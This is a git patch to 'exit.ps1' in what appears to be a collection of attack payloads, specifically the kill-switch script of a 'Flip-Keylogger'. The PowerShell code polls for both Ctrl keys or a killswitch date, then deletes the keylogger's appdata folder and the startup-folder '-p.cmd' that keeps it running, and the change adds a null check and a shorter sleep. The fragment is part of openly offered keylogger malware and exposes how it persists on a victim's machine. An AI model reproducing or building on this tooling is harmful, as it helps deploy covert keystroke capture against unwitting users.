From a249037f824c1e2487d7be497e602da4868f1f37 Mon Sep 17 00:00:00 2001 From: I-Am-Jakoby Date: Sun, 25 Dec 2022 23:54:06 -0600 Subject: [PATCH] Update exit.ps1 --- Payloads/Flip-Keylogger/exit.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Payloads/Flip-Keylogger/exit.ps1 b/Payloads/Flip-Keylogger/exit.ps1 index a87e5b6..34d8d84 100644 --- a/Payloads/Flip-Keylogger/exit.ps1 +++ b/Payloads/Flip-Keylogger/exit.ps1 @@ -4,8 +4,8 @@ Add-Type -AssemblyName PresentationCore,PresentationFramework while($true){ $Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl') $Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl') -if(((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt")) -or ($Rctrl -and $Lctrl)){ -sleep 10 +if((Get-Content "$env:appdata\-locker\killswitch.txt") -ne $null -and ((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt")) -or ($Rctrl -and $Lctrl)){ +sleep 5 Remove-Item "$env:appdata\-locker" -Recurse -Force; Remove-Item "$env:userprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\-p.cmd" $done = New-Object -ComObject Wscript.Shell;$done.Popup("Keylogger Disabled",3)